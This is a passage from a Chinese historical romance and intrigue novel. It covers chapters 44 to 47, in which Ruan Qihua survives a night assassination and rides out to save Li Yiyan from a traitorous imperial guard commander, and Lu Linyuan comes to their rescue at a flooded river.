“臣......也不知。”只是莫名心慌。
百灵台下,绯衣权臣的手指无意识地蜷缩。
44. 京郊遇险
乌衣巷。
银辉倾泄,惨白的月光在每一寸土地投下朦胧薄纱。
窗边的树叶摇晃,沙沙的声音似有人低语。
乌衣巷的一片寂静中,只有星星点点的烛光在晃动。
春桃伸出手,小心给阮绮华桌边的茶盏添上茶。“小姐,您从陆家回来,便一动不动守了她许久,今夜这女子应当是醒不来的,不若您早些歇息,我替您接着守?”
阮绮华身侧,塌上的女子面容依旧苍白无血色,但呼吸已然平稳。
她的视线从女子身上挪开,转向漆黑的屋外。
半晌还是对春桃的提议点了头,自己重伤未愈,女子的毒不是一天两天能好,这样一直守着,恐怕会将自己的身子也折进去。
她起身,对春桃吩咐道:“有事随时唤我。”
一阵窸窸窣窣的洗漱声后,摇晃的红烛静默熄灭。
狸奴踩着猫步进屋,轻巧一跃踩到床边的高脚椅上,碧绿的眼眸在昏暗中发出摄人的光。
阮绮华在这样的黑暗中闭上了双眼。随着月影的移动,她的呼吸逐渐变得平稳。
!
“咪嗷!”
变故就是这一瞬发生的。尖利的猫叫和高脚椅倒塌的巨响交织在一起。
寒光乍现,带着夜色的冰凉和疾驰的寒风。有什么飞速刺过来,丝毫没有犹豫,床上的女子一瞬间跃起——
叮!
黑暗中,银针从不知何处暴射而出,打落了逼近她的匕首。金属相撞发出清脆冰冷的声音。
黑衣人被她果断的动作打得猝不及防,匕首被打落的一瞬本能地身体一滞。
不可能!男人双瞳紧缩,对上阮绮华清明的凤眼。
这人哪有半分从酣睡中梦醒的懵懂?
早有准备的阮绮华,感官会被无限的放大。在黑暗中适应了许久的双目此刻如何会放过蒙面人僵直这一瞬间露出来的破绽。
当即翻转,又是两枚枚银针斜刺过去,直直地冲往蒙面人的双目。
那人抬手格挡的瞬间,阮绮华快速从床上翻身滚下,毫不恋战地就往外间奔。
与此同时,陆临渊派来的人破窗而入,随口指挥一个陆临渊派来的人将蒙面人拖住,则是头也不回地接着奔向哑女——
是的,她已经猜到,这帮蒙面人的目标不是她。
但外间为何异常沉默?
来不及思考太多,她一脚踹开外间的门,然后侧身躲过里面的埋伏。让身后的暗卫与刺客正面对上。
门被打开的那一刻,刀尖没入皮肉的声音与血液飞溅的画面在阮绮华眼中被放大了无数倍。
她的耳中充斥自己疯狂跳跃的脉搏。
“不要,小姐——”
“住手!”
刀尖转动之前,银针终于整根没入了那蒙面人的后颈。
壮实的身躯依然站立,甚至手上还保持着方才举刀的动作。
一滴血从他的后颈滑落。
然后是轰然倒塌。
“救人!不要管我,全力保护哑女与春桃!”
阮绮华听见她的声音拉扯变形。她的手已经不由自主地覆盖在青桃的背部——
那里已经是斑斑血迹。
她还是来晚了吗?
暗卫没有动,沉默地跟在她周围厮杀。
她这一刻才发现这间屋内的蒙面人竟有之多。而她这边不过是陆大人抽派来的七八个暗卫。
阮绮华挡在春桃与哑女身前,刀光再一次朝她面门冲上。血腥味从她的鼻中钻入,顶上天灵盖。
“保护哑女与春桃,莫要让我再说一遍!!”
阮绮华感到出离的愤怒。
不只是对暗卫不听她的话而愤怒,更是因为自己没有足够的自保能力,软弱一如那个雨夜。
人群太过混杂,在此处用毒极有可能分不清敌我。
她深吸口气,挺身向前,像一尾游鱼游走在人群之间,思绪高度集中,尽可能地将手中的每一枚银针精准地刺向每一个潜在的刀锋。
刀光剑影之中,血液溅满了她的衣裙。阮绮华抬起的手开始僵硬。
尚未好全的身子开始不堪重负地步步疲软。
暗卫终于在她的压迫下,集中保护塌上的两位女子。
而她也不负众望地吸引住部分刺客的注意。
不行,还是太吃力。太虚了。
阮绮华的胸口剧烈地起伏,手中的银针打偏了一寸。
本该刺入对方双目的凶器贴着他的耳朵飞过。
而对方手上的长刀已经凌厉劈下——
——
漆黑狭窄的道路让人摸不清脚下的路。
男人屏住呼吸,身体小心翼翼地贴紧山壁缓慢挪动。
前面的人万万不曾想到,自己的身后居然有这样一道影子在跟随他。
因此,进了山门后,他便松懈了许多,不再在意周围的动静,只大步向前迈进。
不多时,李一彦的动作突然顿住。
耀眼的光摄入了他的双目,就在转角过后,一处巨大的空地出现在他眼前。
火把围绕着空地熊熊燃烧,暖融的气息让浓烈的血腥味充斥了整个山洞。
不计其数的白色帐篷布满空地——
几乎化为实质的血腥味从最中央的巨型帐篷中传出。
他感到自己的脉搏短暂地停了一瞬,然后抑制不住地加速跳动。浑身的血气上涌,汇聚到头顶。
他知道,这是胡人的大本营。
李一彦的脑中飞速转动,这里少说也有数十个帐篷,那也就是说,至少有几十上百名胡人。
大雍的每一座城池之间都设有严格的关卡,京城与周边各地直接的关卡更是由御林军直接掌控。
外观不同,口音也与中原人无半分相似。
这样数目的胡人,到底是如何悄无声息地潜入京城的?
浑身的血液在叫嚣着让他冲过去一探究竟。虽然单论数量,这些胡人与大理寺的金羽卫,皇宫的御林军,宋家的黑甲军相比,不值一提。
但与之交手数次,他已然对这些胡人独特的体格与过硬的身手有了估计。
本能告诉他,不尽快打掉这处胡人老巢,将会给大雍带来极大的麻烦。
他望着最中央的帐篷,一位副将模样的男人从里面走出,帐篷掀开的那一刻,他窥见里面的情况——
恰好只有一人独独站立。
那位副将愈发走远,已经离开了他的视线,李一彦紧
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了紧双拳。
若是要偷袭主将,重创敌人,此刻是千载难逢的时机。
可是......
自己如今独身一人,方才跟进来,没被发现已经是走了大运,若是接着闯进去,是否有些不知死活。
李一彦默不作声,内心的挣扎像蛛网,将他定在原地。
半晌,他终于动了。
双眸最后看了一眼布满帐篷的空地,李一彦的脚尖极其细微地调转了方向——
他打算放弃这次机会,回去禀告陆临渊以后,从长计议。
身影再次没入黑暗之时,一只粗粝的大手掐住了他的脖颈。
与京城截然不同的来自边境的风霜气息涌入他的视线。
被他跟了一路的胡人刺客对他咧嘴,一张娃娃脸上,野性的双目中是残忍的玩味与挑衅——
“你是我见过的很勇敢的中原人,不过可惜了,你的气味太不一样了。”
“而我的鼻子恰好是全族最灵的一个。”
李一彦伸出双手,用尽全身力气去掰对方的手,企图给自己一丝喘息的空间。
他的双脚被迫离地,在空中乱踢。
但来自血脉的优势难以撼动。
这胡人好像是铜浇铁铸而成的一般,即便李一彦的双手已经用尽了力气,那只掐住他脖颈的大手也只不过是快速短暂地红了一瞬。
身上被踢到的地方,更是只添了些灰尘。
强烈窒息感让李一彦的脸涨得发紫,一阵一阵的眩晕几乎使他睁不开眼。
不行,不能这样任人宰割。
扭动间,他背过手,取下来对方腰间的匕首。
噗呲——
血液溅到他的脸上,猩红覆盖了他的双目。
匕首被深深嵌入对方的手臂,暗红的血迹在对方挽起的袖口堆积。
对方吃痛之下松手,李一彦终于短暂地获得了空气。
但方才的窒息感太过于强烈,骤然自由,他的眼前出现了一片一片无法控制的黑色。
只能在大口喘息的同时,依靠身体的肌肉记忆快速退离方才的危险之地。
但他脚步虚浮,又如何逃得过。
胡人终于被激怒了。
李一彦只听到对方用胡语骂了一句什么。然后沉重的脚步声便朝他冲了过来。
而他情急之下乱闯,绝望之下,突然发现他已经退无可退——
他的手已经触摸到了坚硬的墙壁。
喘着粗气,说着低沉的胡语的刺客已经贴近。
已经力竭的李一彦闭上了眼。
早知如此,他便不答应莺莺姑娘十五日去赏月了。
带着腥气的掌风劈头而至,但预想的剧痛与死亡意外地并没有到来。
粗粝的大掌滞在半空,突然疲软下来,无力地垂落。
那阵浓重的杀意霎时从空气中消散。
取而代之的是一声几不可闻的呜咽。
什,什么?
细长的银针鬼魅般地出现,从那人白皙冰凉的手中飞射刺入胡人的咽喉。
贯穿的一瞬间,甚至没有流下过多的血迹。
胡人,准确地说是胡人的尸体轰然倒塌时,尸体身后露出一张昳丽近妖的少女面容。
45. 有人反水?!
李一彦双目瞪大,这,这阮姑娘怎会出现在此地?他本能地朝女子身后三丈远的地方张望——空无一人。
死里逃生的余韵与看到顶头上司的心上人杀人的震撼混淆在一起,让他瞳孔猛颤。这一瞬间他开始质疑自己是否是在梦中。
......
但他很快就摇头将这大逆不道的梦摇了出去——即便是在梦中,陆大人也不会允许自己梦到阮姑娘孤身一人来冒险的。
“愣着干什么?快跟上!”
阮绮华利落地伸手,拔出胡人咽喉的银针,然后眼都不眨地用地上的匕首狠狠割破对方的喉咙。
尸体新鲜还带着温热,这一刀下去,喉管大动脉的血液喷薄三尺高。
那张昳丽的脸没有半分动容,仿佛手下喷血的只是一头牛。拍了拍膝盖的灰,转身便要领着他向外走。
——
一个时辰之前,阮府。
刀光剑影交错,燃烧的红烛被惨白的月光掩盖。刀锋直击她面门而来,猛烈的破空声与身后春桃失态的哭喊远远传过来,仿佛隔着一层水雾。
而阮绮华独独站在水底,手脚被沉重的水流压得无法动弹。
千钧一发之际,刀锋被什么东西“叮”地一声打偏。
就是现在!
一股大力推过来,阮绮华堪堪一个下腰,贴着刀锋而过。
冷汗在那一瞬间疯狂涌出,濡湿了她背部的布料。
是谁?!
当啷一声,泛着寒光的三棱刺将长刀打翻在地。她抬头望过去,一个身着玄色短打的蒙面男人踩着已经破碎的窗口即将进入。
等不及细看,又是一枚三棱刺呼啸着将红烛拦腰削断。
整个室内陷入黑暗。下一瞬,几个蒙面男人踩着窗棂鱼贯而入。
阮绮华张开双臂,用身体将春桃与哑女护得严实。一双眼警惕地盯着在场的形式。
陆临渊派来的人还在同先前的人殊死搏斗。拳拳到肉的冲击声不绝于耳。
月光下,为首的蒙面男人腰腹一个用力,双腿死死绞住方才举刀要杀她的刺客。
完全没有防备,失去武器的刺客被限制得彻底,本能地捏拳朝上撞击。然后被对方干脆利落的一个肘击下彻底哑了声。
好半晌,那刺客才从剧烈挣扎中渐渐平息,再看紧随其后的其余几个蒙面人,也不约而同地用不见血的方式将身边的刺客压制妥当。
阮绮华只见到那背影逆着光,手上一个动作,周围的人便训练有素地将所有还喘气的刺客拖了出去,动作之利落让大理寺众人都为之一惊——
这种利落程度与规范程度,非但不像是职业杀手,反而像是经过了正统训练的官兵。
此处为何会出现官兵?!
看身手,甚至还是颇为精锐的官兵。
阮绮华蹙起眉,心中充满疑惑。但此刻她还尚且不能放松,因为那为首的蒙面人突然转过身,细长的双眼朝她看过来时,眼底的冰冷让她心下一凉。
他想干什么?
阮绮华不由自主地后退了半步,比起刺客毫不掩饰,对整个屋里所有人无差别的杀意,蒙面人眼中的冷酷与犹疑让她更加惊心。
在上一瞬间,她以为对方是来解救的人。
但对上他双眼的这一瞬间,她意识到对方只是在考虑是否要杀她。
在身旁暗卫挡住她的前一刻,蒙面人微不可察地笑了一下,眸光闪动中是明显的嘲讽。下一刻,暗卫遮住了她的视线,月光照在那蒙面人身上,有什么东西在他腰间折射出刺眼的光。
不对。
阮绮华眯着眼,当她意识到那东西是什么时,她的瞳孔一瞬间放大,行动已经超过了她的思绪。
“护好春桃与哑女!”
她低声冲暗卫吩咐道,然后片刻不停地侧身出了院门。
他们带着失去意识的几个刺客,走不远,她一定能追上。
冷清的月光洒在乌衣巷尾,墙角的顶端,几只不知名鸟类歪着头,小而黑亮的眼睛看向地面窃窃私语的人。
“你为何要拦着我们!分明只差一点便能将阮家那几个一网打尽。”
“哼!你还有脸说。蠢货。”那蒙面人背着手,面对刺客头子激动的质问,只偏头斜睨了一眼,然后淡淡骂道。
“柳大人已经发话了,柳惊鸿的命得留着。我不管你主子有何小心思,除非柳家的当家人换成她,不然你最好还是劝劝她,把她那些上不得台面的小动作藏好了。”
“不然,柳家小姐的名头,怕是就得换人了。”蒙面人淡淡吐出这句话,仿佛在说一个再平常不过的事实。
但刺客头子的脸色已经一变。
“不过是拿钱办事,我劝你还是掂量掂量清楚。不过是一个女儿,大人若是想要,能顶替的人多得很。”
“好了,快回去启禀吧,我可还有事要去趟京郊呢。”
京郊?京郊怎么了?
阮府后门,粗壮的门柱后面,阮绮华猫着身子,她的思绪飞速转动,同时感觉到自己胸腔在猛烈振动。
那边的人发出了同样的疑问,“京郊何事,让杜统领您这大半夜的还亲自去?”
御林军统领,杜阳挑了挑眉,即便是蒙着脸也能看出他的意思——就你还想打听我的事?
不过,也许是出于某种隐秘的炫耀或者单纯就是被刺客头子吹捧的神情取悦。
杜阳漫不经心地昂起头来,语气中带有高高在上的嘲弄:“还不是李一彦那个不知死活的东西,孤身一人居然追到京西的秘处了。要不是陆临渊警觉,派我带领御林军去援助,主子还被蒙在鼓里呢。”
她的猜想被验证,方才在月光下,她看到的是独属于御林军的令牌。军中出了叛徒。
阮绮华心下一颤,她用拳死死抵住了即将出口的惊呼。陆临渊知道此事吗?京郊有什么秘密?柳家到底想干什么?
“李一彦?”
“呵,不过是陆临渊手底下的狗罢了,仗着陆临渊护短,跟老子称兄道弟的,还真以为自己是个人物了。孤身一人便闯去京郊,如今困住出不来,十有八九,已经被那胡蛮子炖了汤了。”
“可是陆大人不是派您去救援吗?”
“呵,蠢货。”杜阳笑得猖狂,“救自然得救,但是......回去的时候人还是否还在喘气,可不能保证。”
高昂着头的御林军统领与地上的刺客头子对视一眼,彼此都是心照不宣——
晚到一步,只能救回去尸体了。
不行…
只有门柱后面的阮绮华飞速思考着对策。京西郊外,那不就是举行围猎之地?李阳所带领的这帮人看样子是要拖延些时间再动身,若是她现在就纵马疾驰,应当是能打出一个时间差的!
事不宜迟,她闪身回了院中。
一路狂奔到马厩,却发现暗夜中,有人站立在前,正瞪大双眼看着她——
是莫名心悸睡不着起来给马儿喂食的李泉。
“小
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姐您”怎么来了?
“嘘——”来不及多说,阮绮华抿唇,伸出食指贴在唇边,做出一个相当严厉的噤声动作,拦住了对方的惊呼。
然后她径直走向前,从李泉手中牵过了马匹。
您要去哪儿?小的可为您驱车!
再暗淡的夜色也挡不住李泉眼中的光,他实在是不愿再经历一次将遍体鳞伤的小姐接回家的感受了。他亦步亦趋跟在后不肯放手,比划着希望阮绮华带上他。
但他被阮绮华严肃的眼神打断了。
“若我在天亮时未归来,去告诉老爷和夫人,让他们同陆大人一道去京西寻我。”
阮绮华的眼神坚定,李泉不由自主地松了手,用力点头后,看着对方奔驰的身影消失在茫茫夜色中。
——
京城西郊。
李一彦呆愣地看着眼前的一人一马,他不知道自己应该先说些什么,不论是方才不带感情的手起刀落,还是在洞口看到的又一具尸体,都让他开始恍惚今夕何夕。
但他要受到的刺激远不止如此。
面前的女子正不解地蹙眉看他,五指并拢指向树边的马儿,用平静的语气说出惊涛骇浪:“李大人,你是想跟马上要到的叛变的御林军打个照面吗?”
“若真是如此,小女子可就不奉陪了。”阮绮华侧过身,作势要翻身上马,脚下却生了根似的半分不动。
写在身体内部的本能让李一彦当即一个箭步冲上,他虽有诸多疑问,但此刻逃命要紧。更何况,要是他腿没断的情况下让阮姑娘为他驾马驱车......他几乎能想到陆临渊扣他俸禄时冷酷的眼神。
缰绳在他手中紧握,风声从耳边呼啸而过,带动山间的树叶哗啦作响,过于茂密的树丛严丝合缝地挡住月光,哗啦响声似来自地狱索命的低语。
一连串的质疑从李一彦嘴中问出:
“阮姑娘,你方才说谁叛变?御林军?你所说的可属实?那可是皇家侍卫。”
“是。等等,不要走这边,改道东南下山。”
阮绮华坐在后方,下过雨后泥泞颠簸的山路让她的声线并不平稳。李一彦很难相信这位大小姐方才是自己纵马上山的。
随着阮绮华指引方向的指令,他急急一拉缰绳,将马儿调头,改走西南方向。
“是杜阳。他接旨救你,实际为柳春明做事,企图拖延时间等你尸体凉透。我为什么知道?因为他一个时辰以前冲进阮府我的院子,带走了刺杀柳惊鸿和我的刺客。”
“什么?!”李一彦压抑了一路的惊呼到底还是没有忍住。积攒在心底的惊惧和疑惑化作惊呼,带着对同僚反水的不可置疑一起冲向山林的上空。
“好了,大人,您如果不愿相信的话,现在便可反头向您的左手侧望过去了。”阮绮华的声线平静,带着一丝难以察觉的疲倦。
李一彦的余光看向左后方——
山林之中,星星点点的火光映入眼帘。那是由杜阳带过来寻尸的御林军众人。
愈演愈烈的火光倒映在二人的眼底,后方的阮绮华突然意识到什么,她攥紧衣摆,猛得朝李一彦低声吼道:“再快些!他们要烧山!”
“可是......”
“可是什么?
说出口的疑问瞬间顿住,飞驰的骏马渐渐慢了下来,直至完全停下。
近处,汹涌的河水带着浑浊的泥沙重重拍打在岸边——
雁栖湖上,那场仿佛永不停歇的大雨淋到了西郊的河水。
46. 天降神兵
东暖阁。
“笃笃——”
“吱——”
今夜的皇城注定是热闹的。
门外有轻轻的敲门声,伴随着某种鸟类尖锐的鸣叫。
原本低垂双目,各自沉思的两个男人闻声抬头,锐利的目光射向门口。
“进!”
“大人。”一个身着贴身短打的精瘦男人走近,在获得景仁帝的首肯后,朝他俯身过去。
但陆临渊打断了他的凑近,他瞥了眼不时往这边瞧的景仁帝,然后说道:“你但说无妨。”
那探子点头应下,然后开始将今夜发生的事情一一叙述:“大人,您猜得不错,有人夜闯阮姑娘院落。企图杀人灭口。但他们的人数比我们先前设想得更多,看身手像是柳家专门培养的那批刺客。危机时刻,阮姑娘强令我们保护哑女与她的侍女,我们的人......一时不敌。”
“又是刺客,这姓柳的到底在朕眼皮子底下养了多少人?”景仁帝没忍住不满道。
但陆临渊已经完全听不见其他话。“所以呢?阮姑娘怎么样了?”他的语气开始变得危险,手上不自觉地握紧,他的眼中分明是危险的讯号。
探子顶着几乎化为实质的刀锋般的眼光,自知没脸,心虚地低头道:“阮姑娘没事,是御林军的人路过,捉拿了刺客,救了阮姑娘几人。但是,但是......”
“但是什么?说呀!吞吞吐吐成何体统。”景仁帝率先开了口。
“但是,获救后,阮姑娘尾随御林军出去,至今未归。有探子见到她独自骑马朝京城西郊,围猎场方向去。”
探子每说一句话,陆临渊脸色便难看几分,待对方话音终于落下,他的脸上已经爬满阴鸷。
“被御林军捉拿的刺客在何处?”
“回,回大人,御林军统领杜阳率部下将其带往阮府后门之后,如今似乎是不知所踪......”
“这叫什么捉拿,这分明是故意放跑!”
原本应当径直向西的御林军半路改道去阮家。救下阮绮华却又放跑了刺客。
景仁帝轻轻闭上眼,他已经不敢深思下去。
事情的真相触手可得,御林军,已经叛变。
陆临渊自然也想到了一处。他没有开口,只用冰冷的视线从景仁帝身上扫过——当年景仁帝让杜阳替代他同容妃欢好一事,终究还是败露了。
或许是受到了季赫楚的指点,事情败露以后,容妃并没有把事情捅到景仁帝面前,但杜阳这个御林军头子完全被拉入了容妃—柳春明阵营。
这才有了今天这一出。
东暖阁内只剩下安静的流水声。
“可有派人去寻阮姑娘?”陆临渊轻声问道。
“阮姑娘动作迅速,走前又特意叮嘱了咱们的人要紧盯柳惊鸿,他们不敢不从。”
“所以,至今还未曾有人去寻她?”陆临渊的声音不自觉地绷紧。
燃烧的宫灯内,红烛噼啪一声炸响!
烛泪沿着灯壁缓缓流下,片刻后在台上化作凝固的印记。
“废物。”陆临渊终于压抑不住起伏的胸口,吐出冰冷的两个字。不知是对谁。
多久了?从他唤御林军出发援救李一彦,已经足足两刻钟。
明知柳家会派人来偷袭,他派去保护的人手居然还出了纰漏;
明知容妃与杜阳之事存有隐患,他竟还是被林庄清拿言皇后做要挟迷了眼,轻信了对方的鬼话,没有及时制止,或多加防范。
他真是蠢得无可救药。
“立即召集鹰眼所有人,寻找阮绮华的踪迹。手脚要麻利,不要惊动柳家的人。除已经在阮家的之外,召回在京城的所有金吾卫,在柳府外盯紧,一旦发现刺杀阮家的刺客,不留活口,当场斩杀!”
“另外,派人随时关注柳家二小姐的动静。”
“是!”
探子匆忙退下。推门而出的一刻,陆临渊起身在景仁帝面前站定。
宫灯在绯衣权臣冷白的侧脸落下阴影,鼻梁,下颌,脊背连成一线,浓密的眼睫微微低垂下来,总是平静的眼眸燃起火光,他在俯视龙椅上的景仁帝。
“皇上,我回来之前,宫里的事情就交给你了。”
...
枣红马冲开夜色向宫外飞驰,年轻的帝王无力地倚在窗前,望着对方奔驰远去的背影,缓缓吐出一口气。他对身旁陪伴多年的司礼大太监吩咐道:
“传朕口谕,容妃与御林军统领杜阳通奸一事属实,秽乱后宫,按罪当诛。但是现在,朕给她一个坦白自救的机会,若她有什么想说的,将她带到朕面前来。”
到底是朕做的孽。
他用手大力抹了把脸——这是一个相当不符合宫廷礼仪的动作。如果陆临渊在场,此刻必定要训他。可是眼下,阮绮华要是出事了......
“皇上,人带来了。”
...
京城西郊。
夜色被飞驰的骏马远远甩在身后,莹润的玉簪从发冠中穿出,这是他从珍宝阁千挑万选出来,同那身竹叶长袍相配的。
离心脏最近的地方,还贴身放着一枚金镶玉的女子发簪。
真奇怪。分明已经被布巾严实包裹,却在行走的每一步都刺入心脏,让胸口隐隐传来刺痛感。
行进的步伐逐渐慢下来,片刻后,陆临渊停在了西山脚下。
寒冬季节的山林,京郊的大风将枝头树叶刮下,夜色下,光秃秃的枝干张牙舞爪地伸出。
黑暗中的山林沉默地吞噬了一切线索。
——
湍急的河水载着月光汹涌拍岸,溅起足有一人高的水花。
原本凫水渡河的计划,被急速拔升的水位与湍急的水流打散。
背后火把的光亮在山林中快速移动,隐约已经能听到对方行进间的脚步声。
炽热火焰的热气隔着遥遥虚空,火光却好像已经烧到了人的肩背。
月光与火光的交叠处,二人一马在河边生生顿住。
虽然不曾对视,但彼此的脑海中都浮现了同一个念头——不会真要亡于此地吧?
她/他可还有好多福没有享到呢!
这厢阮绮华尚在为如何逃脱追兵发愁,那边李一彦却突然腰下发力,转身将二人位置对调,把她护在了身前。
“得罪了!”
尖利带着弯钩的箭矢从山林某处破风而出。
“统领箭术高超!”
跟在杜阳身边的下属没有放过李一彦吃痛后瞬间绷紧的脊背。看向杜阳时,他面上的谄媚和喜色溢于言表。
他并不算惯常溜须拍马之人,如今的谄媚,确实出自真心——隔着这样远的距离,仅仅靠着月色下的一个背影便能捕捉并一箭射中敌人。高超的箭术与对敌人的熟悉程度,缺一不可。
杜阳当然清楚自己这一箭的威力。但他没有理会下属的奉承,甚至没有乘胜追击。只是放下弓箭,右手二指并拢指向前方,示意众人继续追击。
布巾将他
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的大半边脸遮盖住,他的眼瞳看不出情绪。
浓烈的血腥味从男人左肩溢出。
李一彦吃痛,脊背本能地僵直一瞬,却凭借强大的意志力,硬生生将动作扭转,弓起身将阮绮华严实护住。随即大腿发力一夹马腹,手上死死拉住缰绳强行将马儿调头。马匹急速消失到石块堆积的河岸。
不过几息的时间,阮绮华尚未反应过来,李一彦已经将他们转移到了一块巨石背后。
“你的伤......”
李一彦打断了阮绮华的话,他竖起食指贴在唇边,示意她先噤声。然后面色凝重地朝后方探头张望——
四周无人,火把还离他们有一段不远不近的距离。
确认还有一段时间可供逃跑的李一彦稍稍松了口气,但真切意识到肩膀上的箭矢来自于谁的他,还是忍不住沉默一瞬。
“阮姑娘,他们要追杀的人是我,你莫要受连累了。趁他们还没追上来,你赶紧骑马离开,沿着河向北走,那边有一处当铺,你拿着我的令牌去,会有人接应你的。”
说着,李一彦解下腰间的令牌,不由分说地塞到阮绮华怀中。
然后扭过头,飞身下马......却没成功。
从肩膀处传来的剧痛让他被迫高昂起头,喉结滚动,几乎是咬碎了一口牙才将痛呼忍进肚里。
不是吧,连阮姑娘也要杀他???
李一彦默默垂泪,死在好友手上和死在大人的心上人手上究竟有什么区别。
他今夜是非死不可吗?
银针刺入他肩窝的时候,他闭上了眼。
但阮姑娘伸手利落扒开他衣襟,甚至试图伸手进去的时候,他还是忍不住了——
士可杀不可辱!弥漫着水汽的双眸睁开,他死死抓住了那只纤瘦手臂,的衣服。
他恨刻在骨血中的对陆大人的尊敬。
“不可,阮姑娘你......”
“闭嘴,精神头这么足,脑子这样清晰灵活,那就别用麻药了,省得拖住你逃命的脚步。”
一个小巧瓷瓶被塞入手中。
“不愿我给你上药你就自己上。这止血药有些强劲,刚好让你把牙关咬紧少说废话。”
李一彦的泪水在脸颊风干,酸胀的眼眶逼着他转过身去低头抹药。
确实很疼。天杀的杜阳,下手真黑。
混着汗水药粉的刺痛变得更加强烈。
但李一彦无暇顾及这些,他嗫嚅半晌,再次望向汹涌的河面,冰冷的河水奔腾而过。
若没有天降神兵或者他们二人之一突然凭空变出来一艘船,今夜仍旧绝无可能通过这条河。
更糟糕的是,追兵将至。
火光已经真切地照在了不远处的河岸上。
李一彦再次焦急起来,“阮姑娘,您快走吧,对方人数众多,双拳难敌四手,我拖不了多久的。”
“我走了放任你一个人等死吗?你死了他们是痛快了,可陆大人呢!他待你如何你不会不知,御林军是他亲自指派来救你的,愚蠢的被人蒙骗的是他,若你真死了,他这一世可还能安眠?”
“更重要的是,我江南阮氏,从不出贪生怕死之辈。”月光下,少女的双瞳亮得惊人。
一只手从背后伸出来,揽住了她的腰,
李一彦瞪大了双眼,“你,您?!”
带着释然笑意的声音出现在她身后。
绯衣男人揽着少女纤细腰肢上了船,眼神逼退了李一彦看过来的目光。
47. 京城骂人第一流
?!
大人怎会在此地,他竟亲自来救自己了吗?
风尘仆仆的绯衣男人用眼神警告他将目光从阮绮华身上挪开。
自己则是上下扫视一番心上人与自家下属的基本情况。
不知为何,陆大人身上似乎带着让人信服的奇特气场。
比如现在,虽然身前身后的危机都尚未解决,但李一彦紧绷的精神莫名就被风吹散开来。
他识趣地将视线从阮姑娘身上挪开,似乎想到何事,掰着手指开始数自己的还有多少月银可以扣。
见鬼的杜阳,他单手按着肩窝的伤口,在心中暗暗骂着娘——亏我他妈将你当成除陆大人以外唯一的友人。
昔日的一幕幕在眼前闪过,第一次见到杜阳还是在自家陆大人担任摄政王时的一次宫宴上。
杜阳那会儿才刚进御林军,而他已经是陆大人身边最得力的助手。
宫宴人多,且那帮皇亲贵胄一个比一个难对付。有家贵女分明没有收到宫宴请柬,却硬要闯进门,当值的小侍卫分明被骂的狗血喷头,一个劲赔笑,却咬死了半步不肯退。
他就是这个时候遇到杜阳的——当然,是狐假虎威搬出陆大人的名号。
再之后,便是陆大人退任大理寺卿,而杜阳因为那一手好骑射功夫,被一步步提拔成了御林军统领。
他们变成了下了朝一同喝酒闲谈的友人。
再然后......
李一彦的心中酸酸胀胀,肩窝处伤口在药粉的作用下奇异地又疼痛起来。
“他们在那!”
火光近在咫尺,已经点亮了整片河滩。巨石的阴影护不住背后的三人。眼见的小兵嘶吼着向他的统领报告。
“放箭!!”队首的统领大声喝道。
杜阳单手持弓箭,朝天速射一箭,石后莫名多出的人影让他的心中多出担忧,迟则生变,他必须狠下心来拿下对方!
拉弓,射箭——洁白的尾羽从御林军特有的弓中脱离,下一瞬间,箭雨从天而降,密密麻麻几乎无从下脚。
阮绮华何曾见过该种场面,即便是早有心理准备,此刻的动作也难免慢了半拍。
箭矢从天而降,在她瞳孔中逐渐放大,奈何她的脚不听使唤似的生了根。
“走!”
陆临渊借着力,单手捞起她的冲向河岸。
飞刺的箭矢几乎是贴着他们背后袭来。阮绮华毫不怀疑,若不是陆临渊提着她飞奔,她真的会被射成筛子。
李一彦同样片刻不敢停留,方才的休整让他恢复了许多体力,此刻他独自一人全速飞奔,不仅躲过了追兵的箭矢,甚至还有空余从兜里掏出不知何处摸来的石块反头回击。
御林军之首的男人一箭接一箭地朝他们速射,而他也一次又一次打断对方射来的箭矢。
“狗日的杜阳,早知道你他妈学箭术是用来对付我的,老子就不去求那教头了!就让你吸着鼻涕在那儿看大门看到四旬!”
——是的,那日过后,他看杜小侍卫心志坚定,涕泗横流还颇有原则寸步不让,便一个意动,去求了宋家军的教头,让他有一技傍身,不至于当个最基本的看门小侍。
当着手下的面被揭老底是一件非常挂不住脸的事情。
杜阳面上的尴尬被火把映照得无处遁形。身旁举火把的侍卫向他飘来若有似无的眼光。
他反手取箭的动作停了一瞬,但很快,他冷笑一声又拉开了弓,“少废话了,你看了不该看的东西就是该死,就算你今日不死在我手上,你以为上头的大人会放过你?”
“死在我手上反倒利落了!”又是一箭破空,阮绮华三人已经几乎摸到了河边拴住的木舟。
但那支飞来的弓箭来得太急太凶,杜阳苦练的傍身箭术几乎是出神入化。
陆临渊一手将阮绮华推上船,来不及多说,一个飞扑将人压在身下。
“小心!”
李一彦从侧边飞突过来,足尖在空中点过,毫不留情地将箭矢踢飞,同时发出的是他愈发愤怒的骂街声。
阮绮华发誓,她从未听过这样凶残的京骂。
以至于她在耳边风声浪声破空声交杂的环境中,还奇迹般地抽出了一缕思绪发出疑问——陆大人御下有方,手底下最亲近的李一彦是上哪学的这样地痞流氓的骂人方式??
“您”开头“他妈”居中“屎尿屁”收尾的带上全家全族问候的难听话一串一串地从李一彦嘴中奔涌出来,骂人对象也不再只是杜阳,而变成了整个御林军。
李一彦的声音太具有穿透力,即便是陆临渊在躲避时有意无意用衣摆捂住她的耳朵,还是无济于事。
直到陆大人与杜阳同时发出不耐烦的低吼,“闭嘴!”
李一彦才堪堪停住,冷笑一声上船。
水流太湍急,陆临渊方才是扯下一段衣料将船尾绑在河边木桩上,才让它不至于随波飘走。
但被水打湿后的绳结变得互相镶嵌,一时半会居然无法打开。
陆临渊掏出怀中的匕首,微微抬起身来,匍匐着想挪到船尾将衣料割断。
但水流不遂人愿。一个大浪劈头盖脸地打过来,船只不受控制地疯狂摇摆,陆临渊刚抬起的身子被打得超右侧一歪,手中紧握的匕首直直插入船身。与此同时,没有陆临渊遮挡的阮绮华整个暴露在了箭雨的攻击范围内。
“该死!”
饶是陆大人也忍不住咒骂一声。阮绮华方才快速滚动,避开了上一支飞来的箭矢,但新的一波攻击已经蓄势待发。
不行,他最后看一眼死死卡住的匕首,然后单手撑地,主动将身体暴露在了弓箭手的范围内,将阮绮华那边的攻击吸引过来后,顺着河流将船只重重一偏——
“哒!哒!哒!”破空而来的箭矢被侧面的船板死死挡住。
船只剧烈摇晃,几乎要将三人甩飞出去。
不行,这样下去不是办法,若是船只一直无法动,只要追兵追上来,他们必死无疑。
此刻,阮绮华与陆临渊的心神齐齐悬在了拴住他们的布料之上。
陆临渊不合时宜地冒出一个念头——
去掉李一彦那个碍眼的下属,他是否也算与阮姑娘同年同月同日死了?
